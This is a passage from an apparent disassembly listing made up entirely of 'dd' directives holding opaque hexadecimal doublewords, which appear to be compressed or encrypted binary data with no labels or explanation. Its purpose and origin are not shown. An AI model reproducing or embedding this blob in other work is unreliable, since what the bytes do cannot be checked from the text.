		dd 604941A2h, 3241DD34h, 94A2A823h, 6E5E30h, 0F9FFA52Ch
		dd 3DF764CBh, 4BB00758h, 6B060D8h, 0C27EBA82h, 8500E805h
		dd 0FB0A0B29h, 3E80E84h, 3787131Bh, 57B9543Bh, 0A28023AEh
		dd 0C84331C0h, 79090DD2h, 50F12B3Eh, 37F62B6Ch,	3A1C24F0h
		dd 0CB202C6h, 3193710Bh, 4621803Ah, 35B90CBAh, 8D0D18FAh
		dd 2793E829h, 8C0C4282h, 3DE2D80Fh, 7AA8D2E5h, 718CB9E0h
		dd 0F64F183Fh, 5AA11CC3h, 11DFC062h, 0BE16C0ECh, 7F9AE9C0h
		dd 743461h, 0C1D8BAFCh,	0B479C88Ah, 0A3AAD401h,	0E447669Eh
		dd 0B18023C3h, 10025512h, 793C57B0h, 7DF140ACh,	230F5921h
		dd 0E0120679h, 0E1E4C40Ch, 184F483Ah, 124D7584h, 1DFE088h
		dd 5852ABEEh, 0F47F645Eh, 0C200E463h, 0E8687D04h, 94170F6Dh
		dd 3F528314h, 0F08F8C0Dh, 98E9EEEAh, 65C52803h,	0D03229AAh
		dd 5D459487h, 0B08B6C7Bh, 0CA715473h, 0EF0199EBh, 0DAE7CE40h
		dd 0C08600C6h, 4810035Bh, 0A44EF1F5h, 45DB9C80h, 2F914B26h
		dd 13E2368h, 15CAC349h,	0EB8183BDh, 0CF68D45Eh,	0C11E22A0h
		dd 364E007Fh, 9A93E939h, 0F00AE3D8h, 0A8372ACAh, 4B3068A5h
		dd 0B4030060h, 0C6423488h, 0D901F704h, 8C6A0CBFh, 0DAD0839Dh
		dd 0D4829D72h, 1CD4BC7Ah, 407A00FEh, 175D9243h,	426F8DE9h
		dd 0FA6FE741h, 2AF15AC0h, 0D5E0ED5Eh, 0D230003Eh, 7F7E1531h
		dd 68FDE9E4h, 72CB1B00h, 36BDE879h, 592F87Ah, 0FC7D03DDh
		dd 43B0A066h, 72E54440h, 908CE052h, 84E1542Ch, 16CB1A62h
		dd 446C5073h, 4D1B9025h, 48BB60E0h, 0F200AD8Bh,	0E0751E93h
		dd 0BD24B6Fh, 7FC317B8h, 1A007844h, 0DC5BD67Dh,	32D89C8h
		dd 42572010h, 0B49015EAh, 7E00ABB8h, 0D273452h,	426F650h
		dd 86385780h, 5B54972Eh, 0C227AC81h, 0F4316AB2h, 746A65CEh
		dd 0B1F8E2F0h, 1F0CD16Dh, 3109BE77h, 0AB51E26Ah, 584402DCh
		dd 0EA30E18Ah, 2050187Ah, 38B5616Dh, 167D488Ch,	430C5D8h
		dd 0A6185934h, 70750018h, 0BBB586EDh, 693D16BDh, 39F8A2B0h
		dd 0E188240Dh, 0ED32F400h, 0B1678B07h, 6013AD4h, 0BE48A0B4h
		dd 0E0403A55h, 0B9B8C7B1h, 0E0791D86h, 0C85BC936h, 3C6D7C32h
		dd 84C4FDE0h, 25E81D45h, 52BCA6A4h, 3EC49C65h, 39EDAD60h
		dd 0AF35F60Ah, 0A30B8C42h, 56F424F0h, 0B2B30A60h, 0C51C4A27h
		dd 41FBD6Ch, 6B51C0B3h,	0D6CE4561h, 5BD4DD00h, 9B6686B0h
		dd 7444B441h, 1C008446h
		dd 4EB0597Fh, 0E0576FEh, 0F3DF608h, 448F4492h, 1ED8E0DCh
		dd 4013FDDBh, 4D6192A6h, 0A2026DC7h, 0CA8AD989h, 0E950DE1Ch
		dd 0F088897h, 418A6060h, 0AC018381h, 0C731FD79h, 0B1815ACBh
		dd 0A57ACDC2h, 1FC3216h, 0F8CFF14Dh, 908006A1h,	0D79D3310h
		dd 0CD000776h, 0C8C91A46h, 0A8BA8104h, 6E10ED0h, 0F3B9724Fh
		dd 5F035916h, 0AD17548Dh, 9CFDACF6h, 236C3A5Fh,	8504036Bh
		dd 3EBAEB64h, 0EE853C76h, 0E4AD3C16h, 0F108B293h, 0D5F16h
		dd 0BCAADF8Fh, 0CF4FD570h, 5E046CA3h, 0E51131E6h, 0BFE40240h
		dd 4F0284DCh, 0D6CD2E8Eh, 0EB0D88FCh, 802F1A13h, 7A003F23h
		dd 0BA6A817Ch, 2FEF0322h, 4C6EB1ECh, 4ED2F112h,	2020C0B1h
		dd 1842612Ah, 81681783h, 49FD969h, 0A0C08F3Bh, 19F82FF4h
		dd 0E60906Dh, 7575A18h,	0A613B6D4h, 95BE15CAh, 0C8A0161Ch
		dd 0CD0059E8h, 53E98F1h, 5BB3CA20h, 0A21C849Ah,	300FF2F8h
		dd 0E700EF33h, 473583EEh, 13F28131h, 2838EA02h,	34914090h
		dd 0F40FA180h, 481D2AC9h, 1B816CCAh, 6EB0B11Fh,	0E6087058h
		dd 798A047Ah, 0FD175001h, 0EA8400BCh, 0C608A2D4h, 199600F1h
		dd 58426482h, 32FF432Ah, 63E3009Ch, 14B15F6Ch, 0F3E9C179h
		dd 71E25DCCh, 175429F6h, 10401BAAh, 0D77A87B5h,	75A0E808h
		dd 11C3045Ah, 0FD640978h, 1FEEAC1Ch, 40138868h,	0E207596Dh
		dd 352FF843h, 0C850E303h, 81EE31DDh, 640FF1E4h,	7E4BAF1Ch
		dd 7CD854C5h, 212D00EAh, 0DB1112B7h, 54B159C1h,	0BED26A05h
		dd 484C5C90h, 9A9A5F27h, 0F726C084h, 0C65D0B35h, 41FF78A0h
		dd 0C100B4E8h, 10AE81B6h, 26D482ABh, 29DC8F0h, 95411DB3h
		dd 0B214047Fh, 6E3BD8A1h, 62017170h, 0EA6C310Fh, 0FC6D5C89h
		dd 0E074F507h, 29F2C19Dh, 70FEF23Ah, 38D704DEh,	406CFFA5h
		dd 1DB12593h, 0C068EBE0h, 48C3EBCh, 0F8468DBFh,	0B8B8AD9Bh
		dd 6C690003h, 864E9A48h, 0FCA2CAC6h, 2811281Dh,	2CFBDE80h
		dd 61754AD5h, 0C9EC220Bh, 970F02Eh, 0D641AAA1h,	15250045h
		dd 804A9168h, 0EA9880CFh, 1A7F0BA2h, 4C695375h,	0E1C2277h
		dd 80ACE7D4h, 89BE6B4h,	0EDA90F24h, 77C7DAB1h, 2986233Eh
		dd 0DBE9D5C0h, 6BBC6095h, 947C272Dh, 0AD915417h, 0BA410980h
		dd 457F40A4h, 6C30E802h, 635352EBh, 3DF998C0h, 1768BE87h
		dd 389829E7h, 8CADACF0h, 0E6160700h, 1D879C48h,	0D2800544h
		dd 0ED4602E2h, 0A7C8C448h, 3E7320C8h, 3AEA11Ah,	47217458h
		dd 1AA5D2h, 6CC250E6h, 56731691h, 517F808Ch, 0C9CB6978h
		dd 3B88E64Ch, 590A166Ah, 0DC3E545Eh, 8CAEBCC4h,	0DA033700h
		dd 9389BC2h, 0AD3A0208h, 6162964Eh, 20760062h, 981C1440h
		dd 0BFEC0170h, 0CD9456Bh, 15C06042h, 8A4BF242h,	0C04CC8FCh
		dd 0E9650A1h, 70419C32h, 40E0D870h, 7D886AB1h, 13810252h
		dd 76CB4AA5h, 0D1D7D0CBh, 3FAEBDE5h, 40BD9885h,	0C5488A07h
		dd 0BF17F31Bh, 5D3BF100h, 0CEF6A82Ah, 90FCD1h, 0D9DDBE26h
		dd 74EEFAEDh, 0F9C3E700h, 87E1F7D7h, 43FD0B23h,	0E8D3CAEFh
		dd 14126858h, 0EC6B2403h, 7380E44Ch, 0C5BA553Ah, 0AF5E18FAh
		dd 80084848h, 6E70302Dh, 3904B985h, 0A9EA6AE8h,	7CB254B0h
		dd 2FF21209h, 0C7441CEBh, 23B08398h, 0C8F88211h, 88245536h
		dd 75050B57h, 5CA81062h, 5DF99680h, 0B1040E26h,	0A8DA12CEh
		dd 4C7FA783h, 0AC3B2858h, 0E1C4A6CAh, 78D05806h, 2E80046Dh
		dd 0A0AAE1ECh, 7C988318h, 2E03244h, 43212C30h, 5C768689h
		dd 0E7171F28h, 0E03B720Fh, 0E3032823h, 0F10B0FDCh, 49E8E688h
		dd 524E20B3h, 8E4CCB58h, 3F2EE267h, 44CA800Ch, 7EE71A74h
		dd 38310256h, 14AACC95h, 53F420E8h, 0F977D303h,	0B86DB306h
		dd 0F6DB7E7Ah, 551C0815h, 6B80EC90h, 0CDB26AE3h, 6C6F02E9h
		dd 6E0C3D79h, 0B5ADCC7Bh, 0E4CA0154h, 206122E1h, 0F1FE4B1Ch
		dd 0DDDAC800h, 0BB4353B4h, 0CA4018ADh, 0A0D8E170h, 30872B0Fh
		dd 0E64140BAh, 2C732D0h, 0E1967F92h, 9A5505DFh,	0A7085B6Ch
		dd 8340D8EDh, 0E5C3839h, 0DFA1C3A2h, 40F4CE47h,	2FF0D0F9h
		dd 0A816AB2Ah, 5CB7BD25h, 608A00A9h, 0E1CE2C33h, 0B2136C0Eh
		dd 0CBC325B5h, 4FECC8h,	0B965207Eh, 0A5CCF5A3h,	0AA7A8C12h
		dd 0D8FAE8E1h, 4894ECCh, 176D12E8h, 17C8C48Bh, 0E10464C7h
		dd 899D48E8h, 0ACE56C4Ah, 56AEBA05h, 38B89C56h,	9D43819Dh
		dd 200381BFh, 0C402C7C0h, 36CA23DCh, 7BC44CBh, 0D917B3D3h
		dd 47A4108Dh, 0DF64EF50h, 42AA79C0h, 2CE90100h,	0AA943C54h
		dd 6F2D809Ch, 0C4A1E0h,	0FB674984h, 1ABECD03h, 27949717h
		dd 0DA5FA409h, 0AFC92710h, 8A848868h, 0A0095B25h, 7AA7A1C0h
		dd 9A7B27E3h, 0AA6088CDh, 25E7D33h, 62823C22h, 88A4467Eh
		dd 4A04E384h, 0AEC8409Ah, 70D9E7CEh, 37B7660h, 0A75A2C0Dh
		dd 15F801B0h, 6F7262AFh, 0C3324004h, 0A6E7B081h, 8480502Ch
		dd 1455527Eh, 7F2B041Ch, 0C02E6B8Bh, 503E289Ch,	8815B01Eh
		dd 0FF1DAE44h, 7C09BC9h, 0DC036A28h, 0F93425CEh, 0D5B0E418h
		dd 9240012Fh, 5EECD678h, 83601121h, 0C894B525h,	3F4CBDB4h
		dd 488B4AF0h, 0EDC0BAC8h, 768A0E67h, 0B6B809E8h, 88C89572h
		dd 78F1056Dh, 8C49E8B0h, 0D6E08F00h, 0F0ADBC7Fh, 254A4F8Dh
		dd 808C6100h, 0ACB8391Bh, 0BD4002AAh, 0CAEA2AB8h, 0DD0388DAh
		dd 5D80927Bh, 9CB1E0BEh, 4547AE8h, 0DBEED898h, 0A0748081h
		dd 0E24A70A6h, 978E1CA0h, 13A90A0h, 46040C05h, 5297E547h
		dd 788AC80h, 3091043Ch,	0F699412Ah, 0E1E04258h,	740C5F18h
		dd 5BBC963Fh, 7CA85475h, 98C6EACh, 90019811h, 0F2CE4890h
		dd 1831AF00h, 4DB5502h,	3B8B738Ah, 0D580CF46h, 0F3515299h
		dd 4B0217E9h, 988A9BADh, 0CCE3C077h, 0F849009Eh, 3686AEFAh
		dd 29E341B8h, 98B848h, 0A16A3376h, 0BAE9C7BBh, 30B84Fh
		dd 254F7D34h, 590C9Ch, 0C2206900h, 1755EBE3h, 1DA8083h
		dd 0E75CADCAh, 38563F6Ch, 72595449h, 0E486166Ch, 27603006h
		dd 0CF2618CEh, 75005FADh, 552BBE65h, 9EDF0081h,	0DDBB0C3h
		dd 5C4B116Bh, 0C0159C44h, 0D3CEBCACh, 0A258B3B3h, 0C9E330AEh
		dd 92DDCE00h, 0FF3E7120h, 0B6AF2ED9h, 0ECB82529h, 299F8715h
		dd 0B4D980h, 0DA09E92Dh, 53391DF7h, 0A8F1805Ah,	0AE71EA81h
		dd 0B34B1225h, 89404526h, 5AC09DF3h, 8F6DC3A4h,	1DA3E869h
		dd 8A2E0479h, 80AD4592h, 95E26C0Ch, 255C69FDh, 79400B46h
		dd 600F789Ch, 1C07186h,	0E876F969h, 88529440h, 230E960h
		dd 0D280B33Eh, 467680D6h, 76C5003Ah, 0B417D74Ch, 472E255Eh
		dd 0FF809063h, 0B0A9C2DBh, 0F8402FAAh, 61297CF7h, 605A0090h
		dd 91BCB526h, 89B7DA28h, 117C1DC4h, 25B4874Bh, 19558460h
		dd 0D64A17F8h, 1854A298h, 0FC1CFB7Ch, 6AC22699h, 79782188h
		dd 0EED183Bh, 83154A7Eh, 8BEF905h, 57802E70h, 451A52D6h
		dd 0B6CE000Ch, 53076B1Bh, 0F712E28Bh, 1CC43F4Dh, 0C4E04483h
		dd 142BAA24h, 9D006D23h, 0A1889467h, 7D9B2FAAh,	0E8B4BCE6h
		dd 184656h, 292B9DBFh, 4BD6B6BAh, 4DD88366h, 0EAC0E0FDh
		dd 0CA690A00h, 0FEF98214h, 3C0F00AEh, 0C71E9C8h, 4995C29Ah
		dd 6460EF9Ch, 3906401Dh, 83827E27h, 0EDE81CA8h,	0E432F8B1h
		dd 7CB51927h, 0C05B288Fh, 40C0BD89h, 0B1EC121Ah, 0F0E4B05Ah
		dd 0D819EA25h, 0DACB4B9Ch, 215BC064h, 0E12F7A2h, 0D40B11ACh
		dd 625C05B7h, 6CACA107h, 8C6EB8C8h, 0D7C14500h,	5B14790Dh
		dd 0F5FF25EFh, 0B0C86023h
		dd 6C2FE104h, 88F0D9EAh, 46CB003Eh, 6A2D9831h, 0BA0CD2A0h
		dd 886466AEh, 253503E2h, 0DF6779FDh, 5B0E9D4h, 0DB6144BCh
		dd 781EECB9h, 2109FA11h, 0ECA427BBh, 0D3B4C21Ch, 0B4885421h
		dd 0F62C446Dh, 20431D80h, 0D901177Eh, 0C44C501Eh, 4C22D384h
		dd 0AF30E502h, 7C5E7AAEh, 1D8CE2Dh, 338B5254h, 0F4E645BDh
		dd 8C515B6h, 71804044h,	89F95Eh, 188B9033h, 28A89F7Eh
		dd 0B6222B1Fh, 0AB36B187h, 9789FDF0h, 3934E8CAh, 0E8DEF140h
		dd 59690182h, 58419EDCh, 2180B5D1h, 0C3E06C0Ch,	1B18B420h
		dd 0AF18C9B8h, 5B441FF0h, 840383E8h, 0BD8043EEh, 29024070h
		dd 51A054BEh, 94DE412Fh, 0EEBB4A30h, 772C0FA1h,	5F8046EBh
		dd 4276E84Ch, 4BA660Ch,	375A8BEh, 3D1B98CFh, 83D9FAB0h
		dd 33AFC4Bh, 0A1FF1C01h, 47946D24h, 2584588Eh, 672FB5E0h
		dd 0E0004B80h, 7E660D36h, 0F09B5C0Bh, 8C4850DBh, 13F0AA6h
		dd 809434E5h, 7589E854h, 0A4AC15BEh, 744D44h, 817389EFh
		dd 1E0D193Ch, 0F8C7D530h, 0E6919Ah, 0C7C0388h, 3880F0F7h
		dd 0C0F660C8h, 0BD3289F1h, 31227D46h, 89F8731Dh, 5FE8F200h
		dd 0B82E3DADh, 0B59603D5h, 0E21BC352h, 75427103h, 37EEA5Fh
		dd 0FFFAE420h, 490049E0h, 6536F75Ch, 114485h, 2B12325Ah
		dd 0AA67C9B7h, 0B4FD9703h, 0A7F4DAEBh, 441D88A1h, 60343880h
		dd 428B9601h, 39210D06h, 550804CBh, 59F4F0A8h, 391EC96h
		dd 6625DE69h, 0E13FFAB1h, 4AF100DCh, 5227229Ch,	3FA815BDh
		dd 549480FBh, 55304AF2h, 52B80C07h, 0E0183509h,	5F213860h
		dd 9AEA01h, 0D9C20A2Ah,	56090794h, 1018CF12h, 1C401407h
		dd 27BCA000h, 349024h, 0F04E91C7h, 0D2F67EF9h, 58015730h
		dd 24377C48h, 40B9DAh, 49CD501Ch, 61D9CD6h, 9484E78Dh
		dd 50854E9Bh, 6D4102FAh, 209CC770h, 4AA99B10h, 0F9FCA7C6h
		dd 0E8052890h, 0CA3BFBB6h, 0A80CB45Fh, 3C4C212Fh, 9A00A692h
		dd 0BD53127Fh, 0B750CB21h, 23883114h, 522C0004h, 0F04C6DF5h
		dd 0A1002AC7h, 0C0AF50ABh, 1F5D5E36h, 403DCA6Bh, 0BFE72808h
		dd 0B1D4B36Eh, 0C3FC8878h, 0BDB989DFh, 0C84E8Dh, 1E8B4679h
		dd 2427A032h, 0EBFF158h, 0D8AB1FEh, 911C24B8h, 0E0878082h
		dd 8C9147F0h, 7C044h, 4272E05Fh, 0D982B21Ah, 2E8A5900h
		dd 0BA36604Ch, 356306C7h, 0A9D6B0EDh, 0FC981D05h, 0D6808002h
		dd 0CC7A58C6h, 1621F908h, 0EAFC6F00h, 0C3A4A206h, 5E8B017Eh
		dd 9BC88FB8h, 0CCF1F4A8h, 842E2806h, 289B997h, 0F3647877h
		dd 1260D345h, 2A0033E6h, 86628223h, 905F2Dh, 8712ED4Fh
		dd 7EF3D5BEh, 0DC63CF7Ah, 23C9C2F8h, 9701FAA8h,	8A8003FCh
		dd 3B88F318h, 0E9FC006Eh, 0E263E557h, 54048B09h, 0D7A002A2h
		dd 3C43EC90h, 0B9682A6Ch, 6B68C984h, 9604D030h,	0F5429811h
		dd 8A80A488h, 0CA1D96FCh, 91FB0063h, 49EC3153h,	79285FB6h
		dd 9900B481h, 0D6C80604h, 0C2AF5BE9h, 0FCE8BDD0h, 5CE0586Dh
		dd 0D37B86h, 0D623AB1Bh, 6DCA93CDh, 0A9DB23Fh, 0EC393C5Dh
		dd 0EF6F813Ch, 0B8257EFAh, 298C6BC4h, 32B00251h, 0A8B0FBF0h
		dd 80E0FC8Eh, 31226246h, 0FC851800h, 20B780F5h,	55C8C0C4h
		dd 0BA4E485Ch, 6D46A0A6h, 8E960202h, 1C0542h, 0DE96FA80h
		dd 0B2DDEE9Fh, 0F7F1F500h, 0E0F8FBCEh, 0FCF9C045h, 0EB04697Ch
		dd 7968C64Ch, 0D6009198h, 227FC4BEh, 9132DD8Ch,	1832D9B8h
		dd 26F0E1h, 3FC9FC5Ah, 4A9D68F4h, 3C184419h, 0CCF1D2D8h
		dd 2FC2F193h, 0CA0610E0h, 5F3014C0h, 3726B68Fh,	0C38B6002h
		dd 31A00174h, 0E8266EFDh, 44DF3302h, 4E77151h, 0E06B0B00h
		dd 4C76EE70h, 0F87CB81Bh, 5FE3006Dh, 69F097Fh, 1313BCBDh
		dd 900F2EF9h, 81AC897Ch, 0C80A1DACh, 0C0983095h, 58044000h
		dd 2C7808FFh, 0CE6CE1C8h, 426F9661h, 8812182Dh,	9604F517h
		dd 83AAD8Ch, 586686C0h,	0D1A828CFh, 0A1706198h,	353347C1h
		dd 0F014428Ch, 8D043C4Ch, 7A8001FCh, 3D203062h,	13AFC84h
		dd 5758579h, 485C3C8Bh,	923C0E98h, 0D8440A29h, 7E01D856h
		dd 0FDA9C8B8h, 17FE718Fh, 369E4422h, 0ECC78001h, 63C448CAh
		dd 0D009488Dh, 5C3BFD06h, 0A81459E8h, 0E858369Bh, 0EF7E8CF9h
		dd 0EED78C00h, 86F732DCh, 19B714BAh, 4B2AB476h,	42B887B0h
		dd 0E718C99Fh, 0EBB30FDDh, 525E25D1h, 48880C77h, 4035381h
		dd 0E32A1E1Ch, 0CD55C093h, 0B3D70056h, 0C0AB5F4Ah, 0C942A71Bh
		dd 41E18C7Ah, 481542E8h, 1688B340h, 3E9600F8h, 91010836h
		dd 9200271Dh, 7C85D372h, 0B1B4CBA6h, 6BFD00B4h,	3B6DA3C8h
		dd 0ED04DF5h, 0CE2C88A8h, 0F06FCC00h, 0AB09F69Fh, 0D29EFFh
		dd 2E5F7F8h, 298000FAh,	93C29823h, 950C9D6Ch, 8AD840Dh
		dd 4521CE1Ch, 0B31C300h, 1801D7CDh, 0D433F6A2h,	80204BF4h
		dd 28F961EBh, 0F8661FE2h, 3F00956Bh, 0EE4F7BE7h, 25E6C3Ah
		dd 0EFE107ACh, 60DF62E6h, 0C203B297h, 30849B60h, 0BE7E2B60h
		dd 280D6730h, 3A36295Ah, 0A0408332h, 0A270B2FCh, 0EE27A503h
		dd 0A326CDDFh, 35210085h, 6CD7B296h, 0CA001E47h, 6D32F2F9h
		dd 186B59F1h, 715CE123h, 6E00818Ah, 6A04D789h, 0C1083169h
		dd 0FD462E9h, 6DDAC436h, 19049532h, 797DC064h, 0D6410F7Ah
		dd 52835974h, 0F958F231h, 0BFC30579h, 0A063FD6Ch, 312100DFh
		dd 1B2BC30Ch, 0EE045385h, 568F366Fh, 0AFB100AEh, 22DA0C03h
		dd 6909A1C0h, 68C4C34h,	0A4768E38h, 0FC540848h,	2003E7D8h
		dd 0EB8D8635h, 4AA6D03Bh, 368C1F0h, 0E8B42BEDh,	8A17784Ch
		dd 7A064DC3h, 7D21F6CBh, 6A621D1Ah, 6ED03D2h, 8183D7Bh
		dd 0BC208240h, 2A620753h, 3A64D4CCh, 832291C4h,	82FEB2BAh
		dd 108931C5h, 0B29241h,	8FDD7C7Ah, 431DD8EAh, 74258D09h
		dd 9B1800E2h, 295B55D6h, 72C2129h, 4FDB2BFh, 218462BDh
		dd 0E4B29742h, 0CE00A458h, 0DAEA2F88h, 0A494824Ch, 62510470h
		dd 6334D25Dh, 0BB2100E2h, 0CF86238h, 0D901BE25h, 618CEA6Eh
		dd 8208E3Eh, 0F3F924C5h, 52D0011Ch, 5853FA5Ah, 0C20897F4h
		dd 70A56CC0h, 0C23DFF48h, 15A680C1h, 6BBCEFD5h,	6C66128Ah
		dd 587400EBh, 68BE441Eh, 21114021h, 18857184h, 0E10E0096h
		dd 0A8F7DA45h, 9201FC2Dh, 492879FBh, 9183EF2Ch,	7196B7DEh
		dd 5A7DB5F0h, 88D85E00h, 73C8BF8Fh, 81E064EDh, 0B2C06138h
		dd 31B582CFh, 98431086h, 213502B2h, 38766CC8h, 2930EC48h
		dd 3C77020Ch, 0FAF758FCh, 98F162DCh, 0F884AAE4h, 0B2936035h
		dd 8C9DE0A1h, 368B44h, 2F7FB2ABh, 0F63915D1h, 0A5120505h
		dd 5EC4EA5Ah, 4FCED840h, 604E8002h, 3FF61091h, 3433720Eh
		dd 91514869h, 0FC2202FBh, 7C75A210h, 6C412803h,	28FF07BEh
		dd 3C142AB0h, 18496D0Eh, 3AD67B01h, 0F094FC7Dh,	0FB00413Eh
		dd 58776662h, 9033C43Bh, 6ED700D0h, 0D8BBF23Fh,	7A7B47E5h
		dd 6DF05C54h, 8EC13609h, 0BF404CAh, 51345C60h, 11308C23h
		dd 0FDE42CD6h, 0FDF14E01h, 782050CCh, 9A98FA51h, 0F32C2A4Ch
		dd 10660BF4h, 7E80D43Dh, 5AFDBCBBh, 78062AB0h, 3C99FF44h
		dd 54030929h, 98309882h, 213E6245h, 0E208CCD3h,	741860AFh
		dd 0C9133208h, 0F0A050D8h, 2E998A60h, 0DBA87D50h, 1AC93F03h
		dd 0E22F877h, 0D48A56F8h, 4640123h, 1927823h, 0D25B624Bh
		dd 883F1844h, 620452B5h, 3CA9BF4Eh, 48CB99C2h, 58F70Ch
		dd 0FB943ED1h, 0BC7C564h, 8DB4C450h, 4E9A769h, 0A3602FD0h
		dd 6C10BCC2h, 0F6C89605h
		dd 0C30B4480h, 60E8733h, 0E6998C3Fh, 6D09D8A3h,	87E1C034h
		dd 0C2241E5Ch, 79322091h, 348091B8h, 54C51C3Bh,	0E6000AF9h
		dd 8A12713Ah, 48BC5355h, 20091CFBh, 9802BA40h, 0A082DD10h
		dd 4480CD7h, 0F1000E54h, 30CF50DEh, 40B69A4h, 3C380135h
		dd 0FFA080E6h, 689278DDh, 848AF876h, 5B600A28h,	8C234A34h
		dd 0E9443F48h, 27353200h, 6D5B9FC4h, 0BD43038Ch, 0FA3960F7h
		dd 1ACB6808h, 0E1EF9A82h, 4DC49C82h, 49E2B465h,	0EC3C1882h
		dd 7A078570h, 0CB41FB34h, 737418Ch, 0B0C6BB52h,	6CED4090h
		dd 6A003EE0h, 5CF08794h, 587CFD38h, 0DA04640Bh,	0C0AD260Dh
		dd 0F22390A0h, 58397900h, 2C74D78Ah, 0D0EB50C4h, 0E0064919h
		dd 2CDC8811h, 215E8054h, 788080E2h, 0FA130794h,	280B18D2h
		dd 881E8811h, 209ADA7Eh, 8118F64Ch, 7E4E718Ch, 0F3271982h
		dd 0F0645E7Dh, 0AD17DF7Eh, 7052318Fh, 3033BC62h, 0A370B2C1h
		dd 9126CD21h, 99400088h, 3D4D5DB2h, 60E0EA8Bh, 54AA81D2h
		dd 0C10387B0h, 75683299h, 74C8D052h, 361F263Fh,	988301E7h
		dd 20192958h, 8102729Ch, 4C17AB71h, 0E400C55Ch,	98A5638Bh
		dd 4AF0E66h, 0EBE669FBh, 56B0C391h, 0CB14F4h, 7848A008h
		dd 1642642Ch, 2F591EDFh, 1F723A8h, 0D3C66C9Fh, 0D5A847B9h
		dd 88CC8E64h, 5FA7C0E0h, 15018E92h, 0A3AA30E1h,	5430DA3Bh
		dd 494304C6h, 0CFFA072Ah, 80D7C494h, 8D266C30h,	96862807h
		dd 12403452h, 48C960FBh, 6F06B0E7h, 0C824586Eh,	3D9B1000h
		dd 3399A405h, 1C53730Ch, 0CF70ABE7h, 9B60505Ch,	0C14C377Ah
		dd 8248737Fh, 10523F8h,	8C4B346Ah, 88FF1820h, 350021E2h
		dd 34611AC1h, 0D020527Bh, 7E11D4D8h, 8F030893h,	960329Fh
		dd 98345E30h, 28404C88h, 0C435E6E1h, 74006F91h,	0AB55F21Eh
		dd 2038F99Bh, 7116EDC0h, 7C3A7D39h, 93AD823h, 10C7EE1Bh
		dd 0CB1D4Ch, 0E679FDEh,	99122A96h, 8377650Ah, 0D8219074h
		dd 18829A7Bh, 0AAEC5660h, 35711803h, 0F44CD83h,	0FAE36A21h
		dd 275D1D80h, 25393E78h, 0D8598763h, 5CD51F0Ch,	30453492h
		dd 0BE12C2A1h, 0A4CBB56Ch, 0C3094600h, 3ADAD3ABh, 494F23Eh
		dd 4C24182Bh, 7E83E108h, 0CCFDC4A8h, 0E8AFFC83h, 1DAD5EAh
		dd 4AD01138h, 895BC13Ah, 621BBE28h, 0A0BC0298h,	566F00DFh
		dd 2CF5808Bh, 8C93E8A4h, 0E56FF05h, 0A844F47Ah,	6CC31F51h
		dd 34F82984h, 0B2BC0728h, 26D502FCh, 1F108A19h,	0CA00B294h
		dd 0EDC5618h, 7F5ED2h, 0F1C1455Dh, 7E1AFB4Fh, 0CC5C6E3Eh
		dd 26D8128Ch, 84101447h, 37C41F20h, 0B8E14C3Fh,	9D491280h
		dd 0C0053616h, 0EE73E0A2h, 39319C0Ch, 7B200929h, 6C1B7DDCh
		dd 345D6084h, 588C2340h, 0BB20FD11h, 738C158h, 854F3338h
		dd 0D0E891F9h, 7B6DA186h, 4A770A5h, 18F9E062h, 8B007187h
		dd 272CB47Eh, 0B1B206Eh, 0FA580C6Dh, 7FEA6800h,	0D4909AF6h
		dd 29E27B17h, 18CBFC52h, 300305C4h, 1E4D2C3h, 739DF104h
		dd 392C3FA0h, 95211E7Ch, 334CE6C2h, 0BDCA07Ah, 0FEF3DEh
		dd 0C026EB6Bh, 0E4B99077h, 0F9053090h, 79A86F7Ch, 8C51B8CCh
		dd 78C2FD2Eh, 8C809515h, 32711Bh, 0F3B8C305h, 858E9AD8h
		dd 81045800h, 0A45797EBh, 75A71E9Fh, 0CC6A46A2h, 0F0B0F8D8h
		dd 0C5E8EB45h, 0D3A8CE68h, 812A9044h, 428966A0h, 0E466FB18h
		dd 4002AB46h, 6CD25E62h, 0B0607851h, 5DC6247h, 1E2CAE73h
		dd 10703AFAh, 0C0DCF9E0h, 0D80187EDh, 853BD5BBh, 2C6CDC4Dh
		dd 0B0AC8C34h, 38901D49h, 0E0800321h, 0D87FCA4Ah, 7EE300A5h
		dd 7A654686h, 0A6240AE7h, 114716Ch, 61900F8Ch, 240BB2BEh
		dd 88E49754h, 9C6080E3h, 0E7E6617h, 2E0656Bh, 0E80A37ABh
		dd 1B21747Ch, 0E9B81FAh, 9D026B30h, 9996BEB0h, 5E711487h
		dd 0EC1C09A8h, 0B41C0240h, 5E6D6010h, 72ED0BBFh, 4A257084h
		dd 8B70C3h, 0A504BA4Bh,	9458AE82h, 88A4EE07h, 0F700976Eh
		dd 1E393278h, 0C0CE2DE8h, 368E54F3h, 37007134h,	2F55238Ah
		dd 742C838Ch, 6920CE05h, 0B0BD3240h, 5833D74Fh,	3E0988h
		dd 325CC921h, 6C75A60Eh, 0A4934800h, 0F4D8377Bh, 2BF617h
		dd 0B6CF06F3h, 2E3D3980h, 30848C29h, 82325701h,	3F1867B0h
		dd 5FCC88h, 1B9A8132h, 0FE8A71DFh, 9501818h, 5F07E20h
		dd 73F96760h, 0F0C587BAh, 56952E64h, 572D4819h,	59D0AA29h
		dd 1154601Bh, 8ECDE274h, 0A81DC5E4h, 8F3D5F7h, 97211F48h
		dd 2A5382FAh, 4961CC8Dh, 8AC5D54Ch, 28F7E456h, 77A465Ch
		dd 0FF69C18Dh, 0ABD37580h, 1DEE034Ch, 5AB6C99Eh, 0FA549DB0h
		dd 59F2E430h, 146BFD3h,	6DA17851h, 98997088h, 0B621CD08h
		dd 60458087h, 589C8501h, 0F38B5089h, 9FB46F00h,	42E2CA00h
		dd 0DA224AE6h, 5928033Ch, 0A810C27Ah, 6AE1D01Eh, 53E2B780h
		dd 803C2D83h, 65006054h, 8DD35CDh, 90DF6E73h, 17C20583h
		dd 80FD623Bh, 0B0F6883Eh, 88D79728h, 0E41D5F46h, 0D52379CDh
		dd 991F4911h, 86380FCh,	4C903F41h, 80814090h, 7ABC18F9h
		dd 99782346h, 0B30ECB11h, 0F3604684h, 0EE32F7A1h, 0D9DCC931h
		dd 84508650h, 98853Dh, 0E2FEE9EBh, 0E4D41DC7h, 0A4F2FBF8h
		dd 0BC482F48h, 34008C24h, 69266465h, 28337D2h, 7C0B53D6h
		dd 0E8800516h, 0FA5ABCCDh, 0E828427Bh, 5D469060h, 8ACDFE0Eh
		dd 181CE549h, 3AF6933Fh, 2E84804Ah, 50E796Ch, 692202Ch
		dd 81286002h, 4407B872h, 12434670h, 150ACDE0h, 414430F5h
		dd 0E0F89547h, 0CBCC3C49h, 0BF1D1A00h, 1857DDA0h, 40FC283Fh
